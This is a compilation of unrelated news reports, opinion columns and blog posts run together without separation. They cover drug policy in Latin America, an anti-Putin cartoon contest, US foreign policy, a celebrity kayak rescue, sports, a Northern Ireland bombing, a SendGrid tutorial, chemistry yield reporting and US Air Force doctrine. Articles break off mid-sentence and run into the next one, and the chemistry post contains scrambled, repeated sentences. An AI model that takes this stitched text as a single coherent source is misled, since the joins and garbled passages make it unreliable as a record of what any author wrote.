Calls for rethinking counterdrug strategy cut across ideology in Latin America. Another proponent is Otto Perez Molina, the rightist Guatemalan president who is a retired army general. Colombian President Juan Manuel Santos, a centrist, also has said he would welcome a regional debate about legalizing marijuana and perhaps even cocaine.
A demand for broader discussion on alternative approaches to global drug policy has gained momentum. Six Latin nations last year successfully appealed to U.N. Secretary-General Ban Ki-moon to hold a special session of the U.N. General Assembly in 2016 to discuss changes to global drug policy.
The Obama administration has said it would be open to debating this issue but has ruled out any talk of legalization.
Henrique Cardoso said it’s easier for former presidents than sitting presidents to support rethinking of drug laws.
“For those who are involved in electoral politics, they probably have to be more cautious because they don’t want to risk being defeated in an election,” he said. “Former presidents don’t have those kinds of risks anymore. We can be more frank.”
The leader of tiny Uruguay, onetime leftist guerrilla Jose Mujica, nine months ago announced a plan to legalize marijuana under a state monopoly. When it became apparent in December that public opinion was against the move, he withdrew the bill from Congress but said the tabling was temporary.27508
Конкурс под названием "Победили гитлера — победим и путлера!" стартовал еще 7 мая текущего года. Он был приурочен к 70-летию окончания Великой Отечественной войны и Дня Победы над нацизмом в Европе. Инициаторами творческого состязания стали общественный союз "Национальная Ассамблея" и редакция журнала "Камуфляж".
10 октября был завершен прием творческих заявок, а победителей объявили и наградили на днях. Свои работы на суд украинского жюри прислали 300 человек из 7 стран. В том числе и из России.
Безоговорочную победу одержала карикатура россиянина, на которой изображен кошмар президента Путина.
"Удивительно было понимать, что на нашем, откровенно говоря, антипутинском конкурсе, победила карикатура представителя России Виктора Богорада", - прокомментировал итоги конкурса член жюри и украинский художник-карикатурист Владимир Казаневский.
Богорад до недавнего времени работал в штате The Moscow Times. Сюжет его карикатуры рассказывает о том, как Путин утром просыпается, а за окном, в которое он выглянул, весь окружающий мир в желто-голубых тонах.
Добавим, что второе место на конкурсе получила карикатура Михаила Шлафера из Полтавы.
Третье место занял карикатурист из города Вишневое Киевской области. На ней Алексей Кустовский показал, как Путин делает ватные мозги жителям оккупированного Донбасса и россиянам.
Как писал "Диалог.UA" ранее, фото грустного Путина на саммите G20 стало одним из самых обсуждаемых событий в соцсетях сегодня.Apparently there’s a contest among Republicans to see who can be more shameless and irresponsible in criticizing President Obama’s foreign policy. So far, Chris Christie is winning.
The New Jersey governor alleged Saturday that “the unrest you see in the Middle East is caused in some measure — not completely, but in some measure — by the fact that this president has not acted in a decisive, consistent way.”
If you disregard the rantings of unserious provocateurs such as Sarah Palin, Christie’s attack represents a new low. He accuses the president of the United States of actually being responsible “in some measure” for violence between Israelis and Palestinians, Sunnis and Shiites, dictators and rebels — conflicts and antagonisms that began, I seem to recall, well before Obama took office in January 2009.
One might assume that Christie offered specific ideas about what Obama should be doing differently. Nope.
The president should be “trying to bring stability to that region by having America be a forceful voice in favor of a democracy like Israel and be condemning, in the strongest terms and in actions, the things that are being done by Hamas against Israel.” All of which Obama has already done.
This photo taken May 29, 2014 shows Texas Gov. Rick Perry speaking in Ames, Iowa. (Charlie Neibergall/AP)
Asked whether Obama should take some kind of military action in the region, Christie answered, “I’m not going to give opinions on that. I’m not the president.”
Very helpful, Governor. Please return to your intensive study of traffic patterns on the George Washington Bridge.
Other Republicans who, like Christie, are running for president offer equally vague and useless criticisms of Obama’s policies in the Middle East and around the world. Texas Gov. Rick Perry, who’s going for the bookish intellectual look these days — he has started wearing glasses and stopped wearing cowboy boots — wrote an op-ed in The Post on Saturday accusing Obama of “confused leadership and passivity” that “enabled groups such as the Islamic State to grow.”
What exactly, in Perry’s view, did Obama do wrong? We’ll never know, I guess, because “the window to shape events for the better passed years ago.” It would have been helpful had Perry let us know at the time he saw that window passing, or perhaps closing, or something.
Perry does suggest there is still time for the United States to provide “meaningful assistance” in Iraq and Syria, including “intelligence, surveillance and reconnaissance sharing and airstrikes.” But he neglects to specify whom we should meaningfully assist: one of the also-ran rebel groups in Syria, the sectarian Shiite-dominated government in Iraq, the Islamic theocracy in Iran...
In fairness, Perry’s prime target wasn’t Obama. He was aiming at Sen. Rand Paul of Kentucky, whose “isolationist” policies Perry sees as a potentially grave threat to our national security. The fact that Paul also poses a potentially grave threat to Perry’s presidential ambitions — he leads most polls for the GOP nomination — is pure coincidence, I’m sure.
Paul responded Monday with an op-ed in Politico, saying of Perry that “apparently his new glasses haven’t altered his perception of the world, or allowed him to see it any more clearly.” He notes that during the 2012 campaign, Perry advocated sending troops “back into Iraq” to counter the growing influence of Iran — but now seems to advocate helping Iran against the Islamic State extremists.
In the Politico piece, Paul refrains from gratuitous criticism of Obama. But in a National Review essay this month, Paul blasted the White House for urging Israel to show “restraint” in responding to the kidnapping and murder of three Israeli teenagers.
Paul called for a cutoff of U.S. aid to the Palestinian Authority. He should be smart enough to understand that this would only strengthen the position of Hamas. But perhaps his real aim is to dispel the notion that he is insufficiently pro-Israel.
The Republican critique of Obama’s foreign policy that has achieved the most traction — undeservedly so, in my view — comes from a non-candidate: Mitt Romney. The basic thrust: “I told you so.”
But what was Romney so right about, except the blindingly obvious? That a large, permanent U.S. residual force in Iraq could have prevented the gains by the Islamic State? Of course, but the American public didn’t support keeping troops there and the Iraqi government said no. That it would be better if the “moderate” rebels were winning in Syria? Certainly, but shaping the outcome of that multi-sided civil war would require a robust intervention.
People who see easy options really should have their eyes checked.
Read more from Eugene Robinson’s archive, follow him on Twitter or subscribe to his updates on Facebook. You can also join him Tuesdays at 1 p.m. for a live Q&A.Image caption Crowe is on Long Island filming a new biblical epic, Noah.
Oscar-winning actor Russell Crowe has been rescued by the US coastguard after getting lost on a kayak trip off New York's Long Island.
The 48-year-old actor and his friend, Chris Feather, set out on Saturday afternoon but got lost as night fell.
The coastguard heard Crowe call out from the shore around 22:00, after the pair were forced to beach their kayaks.
Crowe posted a message on Twitter in the early hours of Sunday, thanking the rescue team "for guiding the way".
Later, he added: "Not lost, we knew where exactly where we were, paddling around from CSH [Cold Spring Harbour] into wind, we ran out of day.
"Grand adventure eh @chris_feather?"
Coast Guard Petty Officer, Robert Swieicki said he had not recognised the Gladiator star as he and Feather, a personal trainer, paddled over to the rescue boat.
He insisted the award-winning Australian actor "just needed a little bit of help", adding "he just got a little lost".
"It wasn't really a rescue, really, more of just giving someone a lift," said Swieicki.
The coastguard officers lifted the pair and their kayaks into the boat and ferried them to Huntington Bay, 10 miles from where the pair had set out on their trip.
Swieicki said Crowe, who was grateful and friendly, seemed like he was a fairly experienced kayaker.
He said no one was injured, and the two men were wearing life vests.
Crowe has previously played a naval commander, Captain "Lucky Jack" Aubrey, in the Oscar-nominated drama Master And Commander: The Far Side Of The World.
The star is currently on Long Island playing the biblical seafarer Noah, in a big budget film by director Darren Aronofsky, scheduled for release in 2014.
He won an Academy Award for best actor for his role as a Roman soldier called Maximus in Ridley Scott's Roman epic, Gladiator.October 29, 2010 – Dr. Browntorious
A couple weeks ago Delonte West got in a verbal/physical confrontation with teammate Von Wafer in a two on two game in Boston Celtics practice. Well I guess he had more trouble ‘letting it go’ than anyone thought, as he instigated and basically attacked Von Wafer again yesterday in Celtics practice. Alex Kennedy from Hoops World had this on the situation:
During a three-on-three game with Avery Bradley, Luke Harangody, Semih Erden and assistant coach Tyronn Lue, West began fouling Wafer each time the reserve guard touched the ball. West was increasingly physical to the point that Wafer exited to the locker room midway through the game. As he walked away, West barked obscenities and taunted Wafer. After Wafer had showered and sat down at his locker, West approached from behind and threw a punch. Wafer didn’t see the punch coming but quickly got off of the ground and connected on two punches of his own. He then wrestled West to the ground before being separated by the team’s veterans. Kevin Garnett and Paul Pierce were very unhappy with the incident, especially since it occurred just hours before a game. Doc Rivers met with the players and tried smooth things over shortly after.
West has had a history of mental health issues and depression, and you hate to see him throw what is left of his career away. But his actions are wearing thin with Celtics coaches, teammates, and executives and given he’s on a non-guaranteed contract, don’t be surprised if they let him go before his current suspension for weapons charges is even done being served.By Tony Webeck - this story appeared first on NRL.com
I took my six year old son to the footy on the weekend.
He has been to the SCG, Kogarah and Cbus Super Stadium in the past but I'm not sure he ever had as much fun as we did on Saturday.
In the course of two and a half hours we bought two cans of soft drink, a sausage roll and a packet of Twisties which all told put us back the grand sum of $10.
After our first excursion to the canteen we passed by the merchandise table where Harrison was met with a warm welcome by a club official and given a poster and two stickers to take home.
Before the two first grade teams ran out we had a kick of the footy on the field and as I took notes during the first half Harry ran up and down the sideline trying to expel the energy the mere sniff of soft drink can give a kid his age.
At half-time we went for a kick amongst the other kids on the grass behind the posts and at full-time we went back onto the field and met with one of the players.
We had a great afternoon and it in many ways replicated my earliest memories of going to the footy, sitting on the hills at Leichhardt Oval, Parramatta Stadium and the Newcastle International Sports Ground.
But Harrison and I weren't at an NRL game on the weekend.
This was an Intrust Super Cup clash between Burleigh and Sunshine Coast at Pizzey Park and the match-day experience left a lasting impression on Harry and made me one proud dad.
By little choice of his own he is a Rabbitohs fan largely by name but he is now also a Burleigh Bears fan. There is a 'Go the Bears' sticker proudly plastered on his bedhead and the 2015 team poster has taken pride of place on his bedroom door, some interior decorating not met with widespread approval from other members of the family.
Next week at school he wants to take his poster for 'Show and Tell' and tell his friends all about the Burleigh Bears.
He now knows that Jason Chan – a family friend – plays in No.12 and that too much bad food really does give you a pain in the belly.
When we got home after the game we excitedly rang Harry's uncle Damien to tell him that we had seen his friend Jason play and that even though he didn't score a try his team had won 28 points to 12, all information Harry relayed without any prompting from his dad.
I know the NRL can't have kids streaming onto the field at full-time in the modern age but perhaps it is time to view our state leagues in a different light.
They are not merely the proving ground for players with aspirations to play at the highest level but also the nurseries of our next generation of footy fans.
It's a great place for youngsters to go to a game and not even have to watch it; they can merely revel in the experience of being at the footy and still make it home in time for dinner – even if your no-good dad has ruined your appetite.
One of my great – and admittedly largely silent – crusades is to enhance the NRL game-day experience for young fans who refuse to sit in one spot for two hours unless there is an iPad in their hands.
Why can't each team at every NRL game set up a trestle table, sit a club legend and a current injured player there for an hour and invite kids to come and collect a poster, a sticker and an autograph from who will soon become their new favourite player?
With the infrastructure at modern stadia, my simplistic solution will likely remain a pipe dream so in the meantime I'll continue to take Harrison to watch the Bears.
They're at home again this Saturday against the champions from 2014, the Northern Pride, although this week we might have to ditch the second-half Twisties.
We don't want to have to front the Footy Excursion Committee for a second-straight week when we get home.FILE - In this Thursday, April 6, 2017, file photo, President Donald Trump shakes hands with Chinese President Xi Jinping as he arrives before dinner at Mar-a-Lago resort, in Palm Beach, Fla. In recent weeks, Trump has moved away from his tough campaign rhetoric on trade. Trump's threat to slap harsh tariffs on Chinese goods has given way to a bid to mend fences with Beijing. (AP Photo/Alex Brandon, File)
WASHINGTON (AP) — Once soft on Russia and hard on China, President Donald Trump rapidly reversed course in the last weeks, concluding there’s more business to be done with Beijing than with Moscow.
Trump’s evolving views on those two world powers have brought the U.S. back into alignment with former President Barack Obama’s pattern of “great power” politics. Though Russia critics welcomed Trump’s newly hardened tone, there’s less enthusiasm from America’s allies in Asia, who fear the U.S. could overlook China’s more aggressive posture toward its neighbors.
It may be that Trump, the businessman-turned-world leader, is discovering China’s transactional approach to foreign relations is better suited to achieving his own goals. Chinese leaders have sought a U.S. relationship based on the two powers respecting each other’s spheres of influence and not intervening in one another’s internal affairs.
Such a balance-of-powers approach had been Russia’s traditional stance. Moscow still wants Washington out of its backyard, but Russia’s alleged campaigns to influence the U.S. presidential election and upcoming votes in the heart of Western Europe have made it harder for American officials to take the offer seriously. Russia’s support for Syrian President Bashar Assad and Trump’s newfound commitment to militarily countering any chemical weapons attacks also is proving hard to square.
Also, Trump and Russian President Vladimir Putin’s shared tendency toward nationalist, “don’t-mess-with-us” rhetoric may be putting the pair on a collision course.
The sudden U-turn has been head-snapping for people around the world, despite Trump’s self-professed penchant for unpredictability and willingness to adapt to changing circumstances.
As the Republican presidential nominee, Trump praised Putin repeatedly as a strong, “very smart” leader. Trump dismissed America’s Russia hawks as “stupid people or fools” and predicted under his leadership that the Cold War foes would “work together to solve some of the many great and pressing problems and issues of the world.”
Trump’s gestures to Moscow even fueled perceptions that his campaign and Russia were colluding to help him get elected — a possibility the FBI is now investigating.
“Frankly, if we got along with Russia and knocked out ISIS, that would be a good thing, not a bad thing,” Trump told a radio host in October, citing his still unrealized goal to have both countries cooperate to defeat the Islamic State group.
This past week, it was the opposite message, as the U.S. and Russia feuded about Syria.
“We’re not getting along with Russia at all,” Trump said. “We may be at an all-time low.”
Trump’s declaration came at a joint news conference with the leader of NATO, an alliance established as a Cold War bulwark against the Soviet Union. Trump had dismissed NATO as “obsolete,” but now says it is “no longer obsolete.”
As he shifts away from Russia, Trump is offering an outstretched hand to China. Trump recently hosted Chinese President Xi Jinping at Trump’s Florida resort, and on Thursday hailed Xi as a “terrific person” and a “very special man.”
For years Trump said that China was “eating our lunch,” and he peppered his campaign rallies with promises to label China a currency manipulator as one of his first acts. He even threatened to start a trade war, arguing that China’s trade surplus was the reason for America’s economic woes.
Trump’s growing focus on the North Korean threat, heightened by signs the North might soon conduct another nuclear test, has changed Trump’s thinking. Now he is looking for help from China, North Korea’s dominant trade partner, and easing up on his rhetoric. “I think China has really been working very hard” on North Korea, he said.
Coinciding with this new assessment was Trump’s announcement that he won’t declare China a currency manipulator. It was Trump’s second major concession to Xi, after backing away from a threat to abandon America’s “One China” policy that sees Taiwan as part of China.
So what did Trump, the self-declared deal-maker, get in return?
“The U.S. hasn’t gotten anything from China yet,” said Evan Medeiros, who was Obama’s top Asia adviser in the White House. “The question becomes, if they don’t give him what he wants, what happens next?”
Trump and White House aides have pointed to Beijing’s move to restrict coal imports from North Korea as a sign it’s listening to Trump. But the restriction merely put in place U.N. sanctions passed last year with China’s support — before Trump took office.
Although U.S. allies Japan and South Korea are heartened by Trump’s North Korea focus, his softer tack toward Beijing is causing concern. China’s other designs for Asia include staking sovereignty to maritime territories, sometimes far from its coast, that others countries claim as well.
Despite Trump’s argument that China is taking North Korea seriously, China remains adamantly opposed to U.S. deployment of an advanced missile defense system in South Korea. Trump, like Obama before him, insists the system’s sole purpose is to protect against the North. Beijing isn’t so sure, and doesn’t like such sophisticated radar being able to peer into Chinese territory.
___
Reach Josh Lederman on Twitter at http://twitter.com/joshledermanAPThe federal government is considering fining social media companies such as Facebook and Twitter if they refuse to remove material deemed harmful to young people from their sites.
Communications Minister Malcolm Turnbull and Parliamentary Secretary for Communications Paul Fletcher on Wednesday said the federal government would legislate to create a new position of Children's E-safety Commissioner by the end of the year.
Safety: The government has promised to protect children from cyber bullying. It had aimed to legislate on the issue by the end of 2014.
The commissioner will have the power to issue notices to large social media sites to remove content deemed harmful to young people such as cyber-bullying postings. The commissioner will also be able to issue notices to individuals to take down malicious content aimed at children. If they refuse, they may be referred to state police.
The commissioner will also educate the community about tackling cyber bullying.Attacks on Toronto police following the Pride parade Sunday, which was halted temporarily by Black Lives Matter, have come from those who "want to drive a wedge" between the force and this city's LGBT community, Toronto police chief Mark Saunders said in a letter obtained by CBC News Friday.
"They will not succeed," Saunders said in a letter first delivered to the police service in the aftermath of a deadly night in Dallas Thursday.
The violence in Texas saw five police officers shot dead by a gunman who claimed he "wanted to kill white people, especially white officers," according to that city's police chief David Brown.
The letter, obtained by CBC News, begins by acknowledging the "concerning" events in Dallas and a commitment by Saunders to protect Toronto police officers. Without making explicit mention of Black Lives Matter, Saunders quickly moves to the subject of Toronto's Pride parade, during which that group demanded the removal of police floats and booths from all future Pride parades, |
democratic transition stands in stark contrast to the activity of a criminal few who will not accept the will of the majority of people of Northern Ireland". "They have no support anywhere," he added. ANALYSIS Mark Simpson, BBC News Ireland Correspondent, Holywood The timing and location of the bombing were designed to try to create the biggest possible international headlines and the deepest political impact. Planting the bomb three miles from Stormont, and outside the army base which houses the headquarters of MI5 in Northern Ireland, was deliberate. And making it explode shortly after midnight, less than an hour after policing and justice powers were transferred from London to Belfast, was a key part of the potentially lethal plan. On a day when a new political era is starting at Stormont, dissident republicans wanted to highlight one of the weaknesses of the peace process - the threat of further violence. The truth is the police suspected something might happen this week. The reality is that they were not able to stop it. That will be food for thought for Stormont's new justice minister. New era for policing and justice What happens after powers transfer? In March, Northern Ireland Assembly members voted in favour of the transfer of policing and justice powers. Out of the 105 votes cast in the Assembly, a total of 88 supported the move, with 17 Ulster Unionists voting against. Disagreement on the timing of the devolution of the justice powers had threatened to collapse Northern Ireland's power-sharing administration. On Monday, Stormont assembly members voted to make David Ford, the leader of the cross-community Alliance Party the justice minister. His department has taken over responsibility for many functions and agencies previously controlled by the London-based Northern Ireland Office. As well as taking over responsibility for the police, the new ministry will oversee bodies like the Northern Ireland Prison Service, the prosecution service, the Probation Board and the forensic science service. Are you in the area? Have you been affected by the car bomb, and the evacuation? Send your comments using the post form below. Send your pictures to [email protected], text them to 61124 or you have a large file you can upload here. Read the terms and conditions At no time should you endanger yourself or others, take any unnecessary risks or infringe any laws. A selection of your comments may be published, displaying your name and location unless you state otherwise in the box below. Name
Your E-mail address
Town & Country
Phone number (optional):
Comments
The BBC may edit your comments and not all emails will be published. Your comments may be published on any BBC media worldwide.
Terms & Conditions
Bookmark with: Delicious
Digg
reddit
Facebook
StumbleUpon What are these? E-mail this to a friend Printable versionUPDATE: Via Rail’s Canada 150 Youth Pass is now sold out
Via Rail has resumed selling its Canada 150 Youth Pass after a day-long delay due to high demand.
The national rail service says customers sales could still be delayed intermittently. Via Rail promised to provide more information once the situation was resolved.
“Due to a persistent instability of our reservation system and higher traffic on our website, you may experience delays during your purchasing process,” the website reads.
The Canada 150 Youth Pass is now available for purchase. You may experience delays during your purchasing process. https://t.co/tN5870QQOp — VIA_Rail (@VIA_Rail) March 29, 2017
The Canada 150 Youth Pass offered travellers aged 12 to 25 all-you-can-travel train service within Canada for the month of July for $150. The pass was also available to those over the age of 25 who hold an International Student Identity Card (ISIC).
The pass was created by Via Rail to celebrate Canada’s 150th anniversary. Via Rail will also spend over $2 million in various other initiatives as part of Canada 150 celebrations across the country.
READ MORE: Ontario father, son unable to get train tickets with valid VIA Rail gift cards
This isn’t the first Canada 150 promotion to see overwhelming demand: The Parks Canada website was swamped in December by eager nature-lovers looking to get their hands on a free 2017 national parks pass.
EDITOR’S NOTE: This story has been updated to reflect that Via Rail will spend over $2 million in various initiatives as part of Canada 150 celebrations which unrelated to the Canada 150 Youth Pass.Here's some thoughts:
1. I categorize all reaction yields qualitatively.
What does this mean? Generally speaking, I don't really believe in yields other than 0%, 25%, 50%, 75%, or quantitative. I also sometimes break this down as 1.) Doesn't work, 2.) Works a little, 3.) Goes halfsies, 4.) Pretty alright, 5.) The bomb diggity. Now, I might conform to the standards of society and report a 62% yield for a publication or presentation, but for the purposes of a practicing-academic-chemist-grad-student, my breakdown is good enough. I readily acknowledge that this view of looking at yields is generally flawed, but it gets the job done on a day-to-day basis.
2. I don't record yields on reactions less than 10 mg.
This isn't entirely true. If I've rigorously run a reaction, and then repeated it, I'll believe a yield on 10 mg scale. But generally speaking, there are too many ways for the yield to go wrong: trace solvent, water, silica, or dust? add 10-20%. Did any manipulation of the material? subtract 10-20%. If I do record a yield on this scale, its most likely going to be as defined in section 1, rounded to the nearest 25%.
3. TLCs of reactions in SI
Why doesn't anyone do this? We record our TLCs in our notebooks and report R f in the SI. But in my opinion, the TLC is the most important qualitative and rapid way to assess a reactions "goodness." If your reaction has an 75 % yield, and an R f = 0.40, but an inseparable side product at R f = 0.37, then I hate your reaction (but I'll still use it if I need it). This is useful qualitative data! Far more useful than melting point. Believe it or not, you can optimize reactions on tiny scale by TLC alone. Its not ideal, but it definitely works when material is scarce.
4. Yield ranges on multiple scales
Reported at 95%! Awesome! Except, maybe that was the best yield you got out of 15 experiments, the reaction usually sits around 75% (and once you got a 30%). Maybe you know the reason for variabliliy (great! put it in the discussion), maybe you don't (thats ok too). Do good science: report yield ranges on multiple scales. If its not possible because its the front line of your 72-step linear synthesis, I forgive you. If its a methodology on simple starting materials, no excuses.
5. Yield is not important.
enough and not enough. There is a need in the literature to deemphasize the importance of yield. been said I'm use hyperbole for effect. But honestly, my yield doesn't ever really matter, in total synthesis there are two quantities of material:There is a need in the literature to deemphasize the importance of yield. Its before that emphasizing yield is bad. If it were me, I would do so in favor of honest reporting of pros and cons of reactions, with a discussion of more qualitative aspects: ease of running and purifying, cost of catalysts, etc.Paris: Emails are used in websites for various purposes; it might be for a simple contact form or to manage subscriptions. One main reason for such mails getting blocked is because it might have been originated from a site hosted by a third party service. So it’s advised to have your own email server or a service provider like SendGrid. This has been built to serve developers while making it easy to send mails over SMTP and HTTP within minutes.
Why to use SendGrid?
SendGrid does a lot of things to help you manage the mails on your site. It’s capable of handling colossal email campaigns while providing a detailed reporting and increasing deliverability. SendGrid covers you all the time regardless of your situation. For instance, it allows up to 400 free emails for smaller sites having less traffic.
Create a SendGrid Account
Sign up for an account and select a package (paid or free) that suits your business requirements. If you take up the free plan to test the service, you don’t have to provide any payment details. You will receive a confirmation mail after selecting the package and then you can sign in to your account. Click on ‘Manage multiple user credentials’ within the settings page where you can create site specific credentials. By doing this, the sites will have their unique access to your mails.
Setting up the account for WordPress:
Download the SendGrid Plugin for WordPress.
Add your account details clicking by on the SendGrid menu item in the Settings tab on the site’s Dashboard.
Now, you will be asked to choose between sending mail via SMTP or Web API.
Just enter the site’s account credentials and choose the desired protocol for sending mails.
Provide the sending email address and a reply email address if you want the replies to go to some other address.
Now you can send your mails via SendGrid on WordPress enabled websites and blogs!
Setting up the account for Drupal:
Setting up the account for Drupal slightly varies from that of WordPress.
Firstly, download the Drupal SMTP module.
SMTP module. Once the download is completed, add your SendGrid account details by selecting ‘Modules’ from the menu option.
Now, click on ‘Configure’ button and you’ll see the SMTP settings page.
Enable the module by selecting ‘On’ in the Install Options box and add values for the associated fields.
Enter a valid ‘from’ address and the name of the sender within the email options.
Now you are all set to send emails through SendGrid.
This is all you need to do to integrate a simple and easy-to-use email delivery service into your website. You can also add some advanced features like click and open tracking by upgrading the plans on your SendGrid account.
At Fortune Softtech Paris, we have expert developers who can provide an exquisite solution by understanding your requirements thoroughly. We give you the direct access to a dedicated team that keeps updating you about the progress of the project. Kindly let us know if you need any assistance on web design and development. We will get back to you at the earliest.US President Barack Obama has pressed China to recognise it is now a "grown up" economy and start behaving more responsibly on currency and trade issues hurting US companies.
China needs "to understand that their role is different now than it might have been 20 years ago or 30 years ago when if they were breaking some rules it didn't really matter, it didn't have a significant impact," Obama said at the conclusion of the Asia-Pacific economic summit (APEC) in Hawaii on Sunday.
Obama said that China must abide by international rules before it can become a partner in free trade.
He added that China had not done enough to re-value its currency and said Beijing's economic policies had disadvantaged the US.
'Level playing field'
Obama and Chinese President Hu Jintao had face-to-face talks during the meeting of leaders from a group of 21 countries that account for more than half of world economic output.
"There has been slight improvement over the last year partly because of US pressure but it hasn't been enough. It is time for them to go ahead and move towards a market based system for their currency," Obama said.
Al Jazeera's Patty Culhane, reporting from Honolulu, said Obama was "a little bit more blunt" when talking about China.
"Every step of the way [Obama was] trying to tie his business here [in the US] and overseas to creating jobs."
The US and China spar often on trade issues, with the US Senate recently passing legislation to encourage Beijing to let its currency, known as the yuan and the renminbi, rise more rapidly in value.
Obama added that he had consistently told Hu and other Chinese leaders that American companies were not afraid of competition, as long as there was a level playing field.Page Content
The last time US ground forces were killed by enemy airplanes was in April 1953, when North Korean biplanes attacked an island off the Korean peninsula. Two US Army soldiers, manning an anti-aircraft battery, were killed.
Since then, the Air Force has made it Job 1 to control the air in any armed conflict. It has succeeded so well that success has come to be taken for granted and is a foundational concept in the doctrine of every branch of the armed forces: The Air Force will achieve air superiority. It has been obtained through a combination of technology, training and tactics, and often, overwhelming numbers. Having the very best fighters has been a cornerstone of this thinking.
But some Air Force leaders are starting to question whether there are other ways to achieve air dominance. For two decades, USAF has not been challenged for control of the air in a shooting war. The mission, officials argue, is too important to become bogged down in debates about airframes and force structure. New approaches and new thinking may be required.
The Air Force’s five-year budget plan emphasizes modernization of its fighter force and standoff weapons. But a new Quadrennial Defense Review is underway, and given unprecedented constraints on defense spending in the modern era, Pentagon leaders promise every mission will get a serious relook, and air superiority will be no exception.
The discussion has to be about more than fifth generation fighters and capability gaps, says Maj. Gen. Steven L. Kwast, who is heading the Air Force element of the QDR.
“Creativity and innovation is not an accident and it’s not genius people in a closet somewhere that are going to come up with it,” Kwast told defense journalists in March. The former head of requirements for Air Combat Command said USAF has gathered leaders from a variety of disciplines to look at the “spectrum of ideas” for new solutions to the air dominance problem.
“When I look across all the ‘black’ programs and all the ‘white’ programs”—meaning heavily classified and unclassified projects—“I see ideas that have germinated and increased in technology readiness levels over the last 10 years, and nobody’s really looked at them together again on some of these really wicked problems we have,” he said.
Kwast said the Air Force is taking the rethink seriously and wants to push unconventional ideas about how to gain freedom of maneuver and freedom from attack from the air in any given scenario. In January, ACC convened an air superiority “Innovation Summit” of scientists from many disciplines—ranging from marine biology to anthropology—at JB Langley-Eustis, Va., he said.
Involving disciplines not commonly associated with air combat was intended to produce novel ideas and illustrate how air superiority can be differently interpreted by different audiences. In this case, the audience was a panel of Air Force subject matter experts, directors, and weapon systems chiefs. They then had to select some of the best ideas to brief to ACC’s leadership.
The guidelines to presenters, Kwast said, were to “figure out how to control this continuum of air and space somewhere in the globe, in a temporal dimension that is fast and... violent.” Some of the ideas presented were “astounding,” he said.
The Air Force Research Laboratory presented its latest research on directed energy—high-power chemical lasers and electric lasers, as well as high-power electromagnetic systems—and their possible application to air superiority. A biology professor presented territorial defense strategies employed in the animal kingdom, ranging from swarm attacks to defeat larger predators to the cost-benefit analysis of close combat in certain species.
“You don’t have to build a bigger shark necessarily to control the environment,” Kwast noted, “especially when you’ve got people out there with spear guns; there are other ways of controlling that environment.”
Unfriendly Overhead
Kwast said the summit produced some “aha moments” which challenged some long-held assumptions. Sometimes the surprises were revelations about just how far some technologies have advanced—in engines or space suits—bringing them into the realm of a “game changer.” What all the different disciplines and experts brought really challenged ACC officials to think about the future of air superiority, he added.
There won’t be any sudden, aggressive shifts in doctrine, Kwast said, “because you don’t want to grab onto that wacky idea and let go of theology that’s worked.” Nevertheless, “we sure as hell can be a little bit better than we are at being creative and innovative.”
The ACC leadership considers its summit—with its theme “Air Superiority: 2030 and Beyond”—a great success, and a second phase of the summit is slated for this summer.
Uncertainty about the battlespace of the future and the prospect of austere budgets are also adding urgency to the new thinking. USAF leaders don’t want to miss out on creative alternatives due to complacency or inertia.
“Fundamentally, air dominance is the ability to operate unchallenged or at least unprohibited” from the air, ACC chief Gen. G. Michael Hostage III said in April.
“There has been an assumption over time [that] the noise overhead will always be friendly,” he added, noting that over the last 20 years at least, adversary air capabilities were promptly dealt with. But USAF received a more complicated set of missions in the January 2012 Defense Strategic Guidance.
Hostage, speaking to the Atlantic Council in Washington, D.C., noted the strategic calculus has shifted as the US pulls back from its manpower-heavy counterinsurgency commitments. Planning constructs now demand more emphasis on power projection and operating in scenarios where anti-access, area-denial (A2/AD) capabilities have steadily built up, from the Pacific to the Persian Gulf. Counterair technology—in the form of advanced and increasingly portable air defense weapons and the proliferation of “fourth generation” fighters around the globe—has greatly shrunk the capability gap between the US and its potential adversaries.
“In a contested, denied environment, [air dominance] will be more temporal; it won’t be pervasive,” Hostage asserted. There will be no resemblance to the Iraq or Afghanistan battlespace, where an air commander could operate freely, having to worry only about deconflicting the traffic, he said.
Airpower analyst John Stillion, a senior fellow at the Center for Strategic and Budgetary Assessments, said the last 10 to 20 years can be viewed as an anomaly in the history of combat, and this should concern USAF leadership.
The increasing ranges of World War I machines gave rise to long-range escort fighters in World War II, Stillion noted. From the postwar era to today, air superiority has been defined by missiles and advanced radar.
Now, however, “what we have is an increased reliance on sensors and weapons, and that I think is going to drive us into an arena where we have this growing measure-countermeasure competition,” he said. Stealth, infrared sensors, networks, and electronic countermeasures will make the air-to-air fight increasingly complex and difficult with a near-peer competitor, he noted.
Such an environment is one which USAF leaders haven’t had to fight in for some time, Stillion noted, echoing Hostage’s observation that any air dominance-air superiority scenario would not be static.
A Sortie Factory
Air superiority “will not be something that happens in a day or a week... if you are up against someone with a capable air force,” Stillion said, and this raises the issue of attrition.
“We haven’t thought about that in a while,” he noted.
Stillion pointed out that nations such as China and Iran have invested heavily in missile forces which could target bases and carriers. That in turn has prompted a conversation inside the Pentagon about base resiliency.
“Think of the air base as a sortie factory.... If you can disrupt that process, you will have a significant impact on the combat power that sortie factory can generate,” Stillion said.
These scenarios, coupled with readiness-damaging budget cuts, give air planners pause, because air dominance and air superiority are non-negotiable aspects of joint doctrine. In any environment, they must be gained quickly and decisively to make other operations possible. Air superiority forces, unlike ground or naval force packages, can’t spool up over the course of weeks or months; they must be ready to fight in hours.
Air dominance and air superiority, though often used interchangeably, mean different things to military planners.
Air superiority, per the Joint Chiefs of Staff Joint Publication 3-01, is the “degree of dominance in the air battle” which permits conduct of operations at “a given time and place without prohibitive interference” from air and missile threats.
Air dominance—a far more difficult task—is achieved when opposing forces are incapable of effective interference with US operations within a given area using air and missile threats.
The distinction isn’t lost on USAF’s top airman. In one of his first addresses as Chief of Staff, Gen. Mark A. Welsh III told the Air Force Association’s Air & Space Conference last September, “If we are not able to gain and maintain air superiority... in a future conflict—if we couldn’t guarantee that we could—then everything about the way the United States Army and the United States Marine Corps fight on the ground would have to change.” The mission of air dominance is a “foundational element of the use of airpower,” Welsh said, and it is incumbent on the Air Force to “make that very clear to everyone.”
Still, air superiority programs have been on the losing side of many recent Pentagon budget battles. As a mission, it was eclipsed by the needs of two grinding counterinsurgencies where air dominance was never in question. The most visible casualty came when then-Defense Secretary Robert M. Gates’ capped the F-22 program in 2009.
Welsh and others are quick to insist that it’s not a debate centered on force structure, but in making a priority of air superiority and air dominance because they are key to any 21st century military strategy.
“I’m not talking about asking for more F-22s, folks,” Welsh said in September. “I’m just saying this mission is critical to us. It’s foundational.”
